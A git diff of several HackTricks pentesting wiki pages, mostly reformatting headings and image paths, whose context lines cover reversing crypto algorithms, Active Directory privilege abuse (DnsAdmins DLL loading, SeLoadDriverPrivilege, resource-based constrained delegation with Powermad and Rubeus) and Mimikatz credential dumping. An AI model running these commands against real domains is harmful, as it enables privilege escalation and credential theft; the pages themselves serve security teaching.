+++ b/reversing/cryptographic-algorithms/README.md @@ -1,5 +1,7 @@ # Cryptographic/Compression Algorithms +## Cryptographic/Compression Algorithms +
Support HackTricks and get benefits! @@ -16,18 +18,17 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Identifying Algorithms +## Identifying Algorithms If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**. -## API functions +### API functions **CryptDeriveKey** If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: -![](<../../.gitbook/assets/image (254) (1).png>) +![](<../../.gitbook/assets/image (375) (1) (1).png>) Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) @@ -48,7 +49,7 @@ Initiates the hashing of a stream of data. If this function is used, you can fin \ Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) -## Code constants +### Code constants Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value. @@ -61,7 +62,7 @@ If you search for the first constant in Google this is what you get: Therefore, you can assume that the decompiled function is a **sha256 calculator.**\ You can search any of the other constants and you will obtain (probably) the same result. -## data info +### data info If the code doesn't have any significant constant it may be **loading information from the .data section**.\ You can access that data, **group the first dword** and search for it in google as we have done in the section before: @@ -70,9 +71,9 @@ You can access that data, **group the first dword** and search for it in google In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**. -# RC4 **(Symmetric Crypt)** +## RC4 **(Symmetric Crypt)** -## Characteristics +### Characteristics It's composed of 3 main parts: @@ -84,38 +85,38 @@ It's composed of 3 main parts: **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)** {% endhint %} -## **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars) +### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars) ![](<../../.gitbook/assets/image (377).png>) -## **Scrambling Stage:** +### **Scrambling Stage:** ![](<../../.gitbook/assets/image (378).png>) -## **XOR Stage:** +### **XOR Stage:** ![](<../../.gitbook/assets/image (379).png>) -# **AES (Symmetric Crypt)** +## **AES (Symmetric Crypt)** -## **Characteristics** +### **Characteristics** * Use of **substitution boxes and lookup tables** * It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created** **dynamically**._ * The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used. -## SBox constants +### SBox constants ![](<../../.gitbook/assets/image (380).png>) -# Serpent **(Symmetric Crypt)** +## Serpent **(Symmetric Crypt)** -## Characteristics +### Characteristics * It's rare to find some malware using it but there are examples (Ursnif) * Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function) -## Identifying +### Identifying In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\ Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example: @@ -128,29 +129,29 @@ As it was mentioned before, this code can be visualized inside any decompiler as Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22). -# RSA **(Asymmetric Crypt)** +## RSA **(Asymmetric Crypt)** -## Characteristics +### Characteristics * More complex than symmetric algorithms * There are no constants! (custom implementation are difficult to determine) * KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants. -## Identifying by comparisons +### Identifying by comparisons ![](<../../.gitbook/assets/image (383).png>) * In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8` * Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen` -# MD5 & SHA (hash) +## MD5 & SHA (hash) -## Characteristics +### Characteristics * 3 functions: Init, Update, Final * Similar initialize functions -## Identify +### Identify **Init** @@ -162,14 +163,14 @@ You can identify both of them checking the constants. Note that the sha\_init ha Note the use of more constants -![](<../../.gitbook/assets/image (253) (1) (1).png>) +![](<../../.gitbook/assets/image (253) (1) (1) (1).png>) -# CRC (hash) +## CRC (hash) * Smaller and more efficient as it's function is to find accidental changes in data * Uses lookup tables (so you can identify constants) -## Identify +### Identify Check **lookup table constants**: @@ -179,18 +180,18 @@ A CRC hash algorithm looks like: ![](<../../.gitbook/assets/image (386).png>) -# APLib (Compression) +## APLib (Compression) -## Characteristics +### Characteristics * Not recognizable constants * You can try to write the algorithm in python and search for similar things online -## Identify +### Identify The graph is quiet large: -![](<../../.gitbook/assets/image (207) (2).png>) +![](<../../.gitbook/assets/image (207) (2) (1).png>) Check **3 comparisons to recognise it**: diff --git a/reversing/reversing-tools-basic-methods/README.md b/reversing/reversing-tools-basic-methods/README.md index b3a53e3e0..8d2dee9f8 100644 --- a/reversing/reversing-tools-basic-methods/README.md +++ b/reversing/reversing-tools-basic-methods/README.md @@ -1,5 +1,7 @@ # Reversing Tools & Basic Methods +## Reversing Tools & Basic Methods +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Wasm decompiler / Wat compiler +## Wasm decompiler / Wat compiler Online: @@ -30,14 +31,14 @@ Software: * [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo) * [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec) -# .Net decompiler +## .Net decompiler [https://github.com/icsharpcode/ILSpy](https://github.com/icsharpcode/ILSpy)\ [ILSpy plugin for Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): You can have it in any OS (you can install it directly from VSCode, no need to download the git. Click on **Extensions** and **search ILSpy**).\ If you need to **decompile**, **modify** and **recompile** again you can use: [**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases) (**Right Click -> Modify Method** to change something inside a function).\ You cloud also try [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/) -## DNSpy Logging +### DNSpy Logging In order to make **DNSpy log some information in a file**, you could use this .Net lines: @@ -47,7 +48,7 @@ path = "C:\\inetpub\\temp\\MyTest2.txt"; File.AppendAllText(path, "Password: " + password + "\n"); ``` -## DNSpy Debugging +### DNSpy Debugging In order to debug code using DNSpy you need to: @@ -72,7 +73,7 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)] And click on **compile**: -![](<../../.gitbook/assets/image (314) (1).png>) +![](<../../.gitbook/assets/image (314) (1) (1).png>) Then save the new file on _**File >> Save module...**_: @@ -108,14 +109,14 @@ Right click any module in **Assembly Explorer** and click **Sort Assemblies**: ![](<../../.gitbook/assets/image (285).png>) -# Java decompiler +## Java decompiler [https://github.com/skylot/jadx](https://github.com/skylot/jadx)\ [https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases) -# Debugging DLLs +## Debugging DLLs -## Using IDA +### Using IDA * **Load rundll32** (64bits in C:\Windows\System32\rundll32.exe and 32 bits in C:\Windows\SysWOW64\rundll32.exe) * Select **Windbg** debugger @@ -131,7 +132,7 @@ Then, when you start debugging **the execution will be stopped when each DLL is But, how can you get to the code of the DLL that was lodaded? Using this method, I don't know how. -## Using x64dbg/x32dbg +### Using x64dbg/x32dbg * **Load rundll32** (64bits in C:\Windows\System32\rundll32.exe and 32 bits in C:\Windows\SysWOW64\rundll32.exe) * **Change the Command Line** ( _File --> Change Command Line_ ) and set the path of the dll and the function that you want to call, for example: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain @@ -144,7 +145,7 @@ Notice that when the execution is stopped by any reason in win64dbg you can see Then, looking to this ca see when the execution was stopped in the dll you want to debug. -# GUI Apps / Videogames +## GUI Apps / Videogames [**Cheat Engine**](https://www.cheatengine.org/downloads.php) is a useful program to find where important values are saved inside the memory of a running game and change them. More info in: @@ -152,13 +153,13 @@ Then, looking to this ca see when the execution was stopped in the dll you want [cheat-engine.md](cheat-engine.md) {% endcontent-ref %} -# ARM & MIPS +## ARM & MIPS {% embed url="https://github.com/nongiach/arm_now" %} -# Shellcodes +## Shellcodes -## Debugging a shellcode with blobrunner +### Debugging a shellcode with blobrunner [**Blobrunner**](https://github.com/OALabs/BlobRunner) will **allocate** the **shellcode** inside a space of memory, will **indicate** you the **memory address** were the shellcode was allocated and will **stop** the execution.\ Then, you need to **attach a debugger** (Ida or x64dbg) to the process and put a **breakpoint the indicated memory address** and **resume** the execution. This way you will be debugging the shellcode. @@ -170,7 +171,7 @@ You can find a slightly modified version of Blobrunner in the following link. In [blobrunner.md](blobrunner.md) {% endcontent-ref %} -## Debugging a shellcode with jmp2it +### Debugging a shellcode with jmp2it [**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)is very similar to blobrunner. It will **allocate** the **shellcode** inside a space of memory, and start an **eternal loop**. You then need to **attach the debugger** to the process, **play start wait 2-5 secs and press stop** and you will find yourself inside the **eternal loop**. Jump to the next instruction of the eternal loop as it will be a call to the shellcode, and finally you will find yourself executing the shellcode. @@ -178,7 +179,7 @@ You can find a slightly modified version of Blobrunner in the following link. In You can download a compiled version of [jmp2it inside the releases page](https://github.com/adamkramer/jmp2it/releases/). -## Debugging shellcode using Cutter +### Debugging shellcode using Cutter [**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) is the GUI of radare. Using cutter you can emulate the shellcode and inspect it dynamically. @@ -196,7 +197,7 @@ You can see the stack for example inside a hex dump: ![](<../../.gitbook/assets/image (402).png>) -## Deobfuscating shellcode and getting executed functions +### Deobfuscating shellcode and getting executed functions You should try [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\ It will tell you things like **which functions** is the shellcode using and if the shellcode is **decoding** itself in memory. @@ -216,11 +217,11 @@ scDbg also counts with a graphical launcher where you can select the options you The **Create Dump** option will dump the final shellcode if any change is done to the shellcode dynamically in memory (useful to download the decoded shellcode). The **start offset** can be useful to start the shellcode at a specific offset. The **Debug Shell** option is useful to debug the shellcode using the scDbg terminal (however I find any of the options explained before better for this matter as you will be able to use Ida or x64dbg). -## Disassembling using CyberChef +### Disassembling using CyberChef Upload you shellcode file as input and use the following receipt to decompile it: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\)) -# [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator) +## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator) This obfuscator **modify all the instructions for `mov`**(yeah, really cool). It also uses interruptions to change executions flows. For more information about how does it works: @@ -238,7 +239,7 @@ And [install keystone](https://github.com/keystone-engine/keystone/blob/master/d If you are playing a **CTF, this workaround to find the flag** could be very useful: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) -# Rust +## Rust To find the **entry point** search the functions by `::main` like in: @@ -247,7 +248,7 @@ To find the **entry point** search the functions by `::main` like in: In this case the binary was called authenticator, so it's pretty obvious that this is the interesting main function.\ Having the **name** of the **functions** being called, search for them on the **Internet** to learn about their **inputs** and **outputs**. -# **Delphi** +## **Delphi** For Delphi compiled binaries you can use [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR) @@ -259,7 +260,7 @@ This plugin will execute the binary and resolve function names dynamically at th It is also very interesting because if you press a button in the graphic application the debugger will stop in the function executed by that bottom. -# Golang +## Golang I you have to reverse a Golang binary I would suggest you to use the IDA plugin [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper) @@ -267,7 +268,7 @@ Just press **ATL+f7** (import python plugin in IDA) and select the python plugin This will resolve the names of the functions. -# Compiled Python +## Compiled Python In this page you can find how to get the python code from an ELF/EXE python compiled binary: @@ -275,7 +276,7 @@ In this page you can find how to get the python code from an ELF/EXE python comp [.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) {% endcontent-ref %} -# GBA - Game Body Advance +## GBA - Game Body Advance If you get the **binary** of a GBA game you can use different tools to **emulate** and **debug** it: @@ -388,11 +389,11 @@ So, in this challenge, knowing the values of the buttons, you needed to **press **Reference for this tutorial:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/) -# Game Boy +## Game Boy {% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %} -# Courses +## Courses * [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering) * [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binary deobfuscation) diff --git a/windows-hardening/active-directory-methodology/acl-persistence-abuse.md b/windows-hardening/active-directory-methodology/acl-persistence-abuse.md index 740f4200c..a382a01ba 100644 --- a/windows-hardening/active-directory-methodology/acl-persistence-abuse.md +++ b/windows-hardening/active-directory-methodology/acl-persistence-abuse.md @@ -28,7 +28,7 @@ Active Directory objects such as users and groups are securable objects and DACL An example of ACEs for the "Domain Admins" securable object can be seen here: -![](<../../.gitbook/assets/1 (1).png>) +![](../../.gitbook/assets/1.png) Some of the Active Directory object permissions and types that we as attackers are interested in: diff --git a/windows-hardening/active-directory-methodology/privileged-accounts-and-token-privileges.md b/windows-hardening/active-directory-methodology/privileged-accounts-and-token-privileges.md index 40978c39e..5b8ca2c67 100644 --- a/windows-hardening/active-directory-methodology/privileged-accounts-and-token-privileges.md +++ b/windows-hardening/active-directory-methodology/privileged-accounts-and-token-privileges.md @@ -1,5 +1,7 @@ # Privileged Accounts and Token Privileges +## Privileged Accounts and Token Privileges +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Known groups with administration privileges +## Known groups with administration privileges * **Administrators** * **Domain Admins** @@ -25,7 +26,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) There are other account memberships and access token privileges that can also be useful during security assessments when chaining multiple attack vectors. -# AdminSDHolder group +## AdminSDHolder group The Access Control List (ACL) of the **AdminSDHolder** object is used as a template to **copy** **permissions** to **all “protected groups”** in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.\ By default, the ACL of this group is copied inside all the "protected groups". This is done to avoid intentional or accidental changes to these critical groups. However, if an attacker modifies the ACL of the group **AdminSDHolder** for example giving full permissions to a regular user, this user will have full permissions on all the groups inside the protected group (in an hour).\ @@ -47,14 +48,14 @@ If you don't want to wait an hour you can use a PS script to make the restore ha [**More information in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence) -# Account Operators +## Account Operators * Allows creating non administrator accounts and groups on the domain * Allows logging in to the DC locally Note the spotless' user membership: -![](<../../.gitbook/assets/1 (2) (1).png>) +![](<../../.gitbook/assets/1 (2) (1) (1).png>) However, we can still add new users: @@ -64,7 +65,7 @@ As well as login to DC01 locally: ![](../../.gitbook/assets/a3.png) -# Server Operators +## Server Operators This membership allows users to configure Domain Controllers with the following privileges: @@ -88,20 +89,20 @@ The story changes: ![](../../.gitbook/assets/a6.png) -# Backup Operators +## Backup Operators As with `Server Operators` membership, we can access the `DC01` file system if we belong to `Backup Operators`: ![](../../.gitbook/assets/a7.png) -# DnsAdmins +## DnsAdmins -## Resume +### Resume A user who is member of the **DNSAdmins** group or have **write privileges to a DNS** server object can load an **arbitrary DLL** with **SYSTEM** privileges on the **DNS server**.\ This is really interesting as the **Domain Controllers** are used very frequently as DNS servers. -## Execute +### Execute Then, if you have a user inside the DNSAdmins group, you can make the DNS server load an arbitrary DLL with SYSTEM privileges. You can make the DNS server load a local or remote (shared by SMB) DLL file executing: @@ -131,7 +132,7 @@ sc.exe \\dc01 start dns [**Learn more about this privilege escalation in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise) -# **AD Recycle Bin** +## **AD Recycle Bin** This group gives you permission to read deleted AD object. Something juicy information can be found in there: @@ -141,7 +142,7 @@ This group gives you permission to read deleted AD object. Something juicy infor Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ``` -# Group Managed Service Accounts (gMSA) +## Group Managed Service Accounts (gMSA) In most of the infrastructures, service accounts are typical user accounts with “**Password never expire**” option. Maintaining these accounts could be a real mess and that's why Microsoft introduced **Managed Service Accounts:** @@ -160,7 +161,7 @@ So, if gMSA is being used, find if it has **special privileges** and also check Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**. -# SeLoadDriverPrivilege +## SeLoadDriverPrivilege A very dangerous privilege to assign to any user - it allows the user to load kernel drivers and execute code with kernel privilges aka `NT\System`. See how `offense\spotless` user has this privilege: @@ -224,7 +225,7 @@ We compile the above, execute and the privilege `SeLoadDriverPrivilege` is now e ![](../../.gitbook/assets/a10.png) -## Capcom.sys Driver Exploit +### Capcom.sys Driver Exploit To further prove the `SeLoadDriverPrivilege` is dangerous, let's **exploit it to elevate privileges**. @@ -353,7 +354,7 @@ You can download exploits from [https://github.com/tandasat/ExploitCapcom](https ![](../../.gitbook/assets/a12.png) -## Auto +### Auto You can use [https://github.com/TarlogicSecurity/EoPLoadDriver/](https://github.com/TarlogicSecurity/EoPLoadDriver/) to **automatically enable** the **privilege**, **create** the **registry key** under HKEY\_CURRENT\_USER and **execute NTLoadDriver** indicating the registry key that you want to create and the path to the driver: @@ -361,7 +362,7 @@ You can use [https://github.com/TarlogicSecurity/EoPLoadDriver/](https://github. Then, you will need to download a **Capcom.sys** exploit and use it to escalate privileges. -# References +## References {% embed url="https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges" %} diff --git a/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index e7c55e0fd..6e2f0459e 100644 --- a/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -1,5 +1,7 @@ # Resource-based Constrained Delegation +## Resource-based Constrained Delegation +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basics of Resource-based Constrained Delegation +## Basics of Resource-based Constrained Delegation This is similar to the basic [Constrained Delegation](constrained-delegation.md) but **instead** of giving permissions to an **object** to **impersonate any user against a service**. Resource-based Constrain Delegation **sets** in **the object who is able to impersonate any user against it**. @@ -25,14 +26,14 @@ In this case, the constrained object will have an attribute called _**msDS-Allow Another important difference from this Constrained Delegation to the other delegations is that any user with **write permissions over a machine account** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) can set the _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (In the other forms of Delegation you needed domain admin privs). -## New Concepts +### New Concepts Back in Constrained Delegation it was told that the _**TrustedToAuthForDelegation**_ flag inside the _userAccountControl_ value of the user is needed to perform a **S4U2Self.** But that's not completely truth.\ The reality is that even without that value, you can perform a **S4U2Self** against any user if you are a **service** (have a SPN) but, if you **have \_TrustedToAuthForDelegation** \_ the returned TGS will be **Forwardable** and if you **don't have** that flag the returned TGS **won't** be **Forwardable**. However, if the **TGS** used in **S4U2Proxy** is **NOT Forwardable** trying to abuse a **basic Constrain Delegation** it **won't work**. But if you are trying to exploit a **Resource-Based constrain delegation, it will work** (this is not a vulnerability, it's a feature, apparently). -## Attack structure +### Attack structure > If you have **write equivalent privileges** over a **Computer** account you can obtain **privileged access** in that machine. @@ -52,9 +53,9 @@ To check the _**MachineAccountQuota**_ of the domain you can use: Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota ``` -# Attack +## Attack -## Creating a Computer Object +### Creating a Computer Object You can create a computer object inside the domain using [powermad](https://github.com/Kevin-Robertson/Powermad)**:** @@ -69,7 +70,7 @@ New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureStri Get-DomainComputer FAKECOMPUTER #Check if created if you have powerview ``` -## Configuring R**esource-based Constrained Delegation** +### Configuring R**esource-based Constrained Delegation** **Using activedirectory PowerShell module** @@ -78,7 +79,7 @@ Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount FAKECOMPUTE Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked ``` -![](../../.gitbook/assets/b2.png) +![](../../.gitbook/assets/B2.png) **Using powerview** @@ -97,7 +98,7 @@ msds-allowedtoactonbehalfofotheridentity {1, 0, 4, 128...} ``` -## Performing a complete S4U attack +### Performing a complete S4U attack First of all, we created the new Computer object with the password `123456`, so we need the hash of that password: @@ -122,9 +123,9 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:admin Note that users has an attribute called "**Cannot be delegated**". If a user has this attribute to True, you won't be able to impersonate him . This property can be seen inside bloodhound. {% endhint %} -![](../../.gitbook/assets/b3.png) +![](../../.gitbook/assets/B3.png) -## Accessing +### Accessing The last command line will perform the **complete S4U attack and will inject the TGS** from Administrator to the victim host in **memory**.\ In this example it was requested a TGS for the **CIFS** service from Administrator, so you will be able to access **C$**: @@ -135,11 +136,11 @@ ls \\victim.domain.local\C$ ![](../../.gitbook/assets/b4.png) -## Abuse different service tickets +### Abuse different service tickets Lear about the [**available service tickets here**](silver-ticket.md#available-services). -# Kerberos Errors +## Kerberos Errors * **`KDC_ERR_ETYPE_NOTSUPP`**: This means that kerberos is configured to not use DES or RC4 and you are supplying just the RC4 hash. Supply to Rubeus at least the AES256 hash (or just supply it the rc4, aes128 and aes256 hashes). Example: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` * **`KRB_AP_ERR_SKEW`**: This means that the time of the current computer is different from the one of the DC and kerberos is not working properly. @@ -149,7 +150,7 @@ Lear about the [**available service tickets here**](silver-ticket.md#available-s * The asked service doesn't exist (if you ask for a ticket for winrm but winrm isn't running) * The fakecomputer created has lost it's privileges over the vulnerable server and you need to given them back. -# References +## References {% embed url="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html" %} diff --git a/windows-hardening/stealing-credentials/credentials-protections.md b/windows-hardening/stealing-credentials/credentials-protections.md index 8f7201c62..2d7ecf77c 100644 --- a/windows-hardening/stealing-credentials/credentials-protections.md +++ b/windows-hardening/stealing-credentials/credentials-protections.md @@ -1,5 +1,7 @@ # Credentials Protections +## Credentials Protections +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# WDigest +## WDigest [WDigest](https://technet.microsoft.com/pt-pt/library/cc778868\(v=ws.10\).aspx?f=255\&MSPPError=-2147217396) protocol was introduced in Windows XP and was designed to be used with HTTP Protocol for authentication. Microsoft has this protocol **enabled by default in multiple versions of Windows** (Windows XP — Windows 8.0 and Windows Server 2003 — Windows Server 2012) which means that **plain-text passwords are stored in the LSASS** (Local Security Authority Subsystem Service). **Mimikatz** can interact with the LSASS allowing an attacker to **retrieve these credentials** through the following command: @@ -32,7 +33,7 @@ If these registry keys **don't exist** or the value is **"0"**, then WDigest wil reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential ``` -# LSA Protection +## LSA Protection Microsoft in **Windows 8.1 and later** has provided additional protection for the LSA to **prevent** untrusted processes from being able to **read its memory** or to inject code. This will prevent regular `mimikatz.exe sekurlsa:logonpasswords` for working properly.\ To **activate this protection** you need to set the value _**RunAsPPL**_ in _**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\LSA**_ to 1. @@ -41,13 +42,13 @@ To **activate this protection** you need to set the value _**RunAsPPL**_ in _**H reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL ``` -## Bypass +### Bypass It is possible to bypass this protection using Mimikatz driver mimidrv.sys: ![](../../.gitbook/assets/mimidrv.png) -# Credential Guard +## Credential Guard **Credential Guard** is a new feature in Windows 10 (Enterprise and Education edition) that helps to protect your credentials on a machine from threats such as pass the hash. This works through a technology called Virtual Secure Mode (VSM) which utilizes virtualization extensions of the CPU (but is not an actual virtual machine) to provide **protection to areas of memory** (you may hear this referred to as Virtualization Based Security or VBS). VSM creates a separate "bubble" for key **processes** that are **isolated** from the regular **operating system** processes, even the kernel and **only specific trusted processes may communicate to the processes** (known as **trustlets**) in VSM. This means a process in the main OS cannot read the memory from VSM, even kernel processes. The **Local Security Authority (LSA) is one of the trustlets** in VSM in addition to the standard **LSASS** process that still runs in the main OS to ensure support with existing processes but is really just acting as a proxy or stub to communicate with the version in VSM ensuring actual credentials run on the version in VSM and are therefore protected from attack. Credential Guard must be turned on and deployed in your organization as it is **not enabled by default.**\ From [https://www.itprotoday.com/windows-10/what-credential-guard](https://www.itprotoday.com/windows-10/what-credential-guard)\ @@ -64,7 +65,7 @@ More information and a PS1 script to enable Credential Guard [can be found here] reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags ``` -# RDP RestrictedAdmin Mode +## RDP RestrictedAdmin Mode With Windows 8.1 and Windows Server 2012 R2, new security features were introduced. One of those security features is the _Restricted Admin mode for RDP_. This new security feature is introduced to mitigate the risk of [pass the hash](https://blog.ahasayen.com/pass-the-hash/) attacks. @@ -74,11 +75,11 @@ Using _Restricted Admin mode for RDP_, when you connect to a remote computer usi Note that as your credentials are not being saved on the RDP session if **try to access network resources** your credentials won't be used. **The machine identity will be used instead**. -![](../../.gitbook/assets/RAM.png) +![](../../.gitbook/assets/ram.png) From [here](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/). -# Cached Credentials +## Cached Credentials **Domain credentials** are used by operating system components and are **authenticated** by the **Local** **Security Authority** (LSA). Typically, domain credentials are established for a user when a registered security package authenticates the user's logon data. This registered security package may be the **Kerberos** protocol or **NTLM**. @@ -98,7 +99,7 @@ HKEY_LOCAL_MACHINE\SECURITY\Cache **Extracting from Mimikatz**: `lsadump::cache`\ From [here](http://juggernaut.wikidot.com/cached-credentials). -# Protected Users +## Protected Users When the signed in user is a member of the Protected Users group the following protections are applied: diff --git a/windows-hardening/windows-local-privilege-escalation/README.md b/windows-hardening/windows-local-privilege-escalation/README.md index fb82572f1..ca964ed86 100644 --- a/windows-hardening/windows-local-privilege-escalation/README.md +++ b/windows-hardening/windows-local-privilege-escalation/README.md @@ -1,7 +1,5 @@ # Windows Local Privilege Escalation -## Windows Local Privilege Escalation -
Support HackTricks and get benefits! @@ -200,7 +198,7 @@ In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](ht Read the research here: -{% file src="../../.gitbook/assets/CTX_WSUSpect_White_Paper.pdf" %} +{% file src="../../.gitbook/assets/CTX_WSUSpect_White_Paper (1).pdf" %} **WSUS CVE-2020-1013** diff --git a/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index 571657a3d..f17ba2c65 100644 --- a/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -1,5 +1,7 @@ # Named Pipe Client Impersonation +## Named Pipe Client Impersonation +
Support HackTricks and get benefits! @@ -16,10 +18,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **This information was copied from** [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation) -# Overview +## Overview A `pipe` is a block of shared memory that processes can use for communication and data exchange. @@ -32,7 +33,7 @@ This lab is concerned with a simple PoC code that allows: * creating a single-threaded dumb named pipe server that will accept one client connection * named pipe server to write a simple message to the named pipe so that the pipe client can read it -# Code +## Code Below is the PoC for both the server and the client: @@ -102,23 +103,23 @@ int main() {% endtab %} {% endtabs %} -# Execution +## Execution Below shows the named pipe server and named pipe client working as expected: -![](<../../.gitbook/assets/screenshot-from-2019-04-02-23-44-22 (2).png>) +![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22.png>) Worth nothing that the named pipes communication by default uses SMB protocol: -![](../../.gitbook/assets/screenshot-from-2019-04-04-23-51-48.png) +![](<../../.gitbook/assets/Screenshot from 2019-04-04 23-51-48.png>) Checking how the process maintains a handle to our named pipe `mantvydas-first-pipe`: -![](<../../.gitbook/assets/screenshot-from-2019-04-02-23-44-22 (1).png>) +![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (1).png>) Similary, we can see the client having an open handle to the named pipe: -![](../../.gitbook/assets/screenshot-from-2019-04-02-23-44-22.png) +![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (2).png>) We can even see our pipe with powershell: @@ -126,9 +127,9 @@ We can even see our pipe with powershell: ((Get-ChildItem 